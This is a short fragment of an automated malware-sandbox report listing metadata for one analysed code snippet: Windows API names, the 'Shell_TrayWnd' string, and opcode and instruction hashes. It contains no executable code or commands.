                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FindMessagePostSleepWindow
                                                                                      • String ID: Shell_TrayWnd
                                                                                      • API String ID: 529655941-2988720461
                                                                                      • Opcode ID: 7430190e369b5b3e904d1b4f352f55f6c657a439cbb9ac9bf986c47af78c6e95
                                                                                      • Instruction ID: a45d01abc847b3b78782d19971858512b89fe33597395d38c0f0bbd94381f7c7
                                                                                      • Opcode Fuzzy Hash: 7430190e369b5b3e904d1b4f352f55f6c657a439cbb9ac9bf986c47af78c6e95
                                                                                      • Instruction Fuzzy Hash: 7AD01231384768B7F3786770AC0FFD67E19AB44B11F111815B789AA1D0C9E4E941C754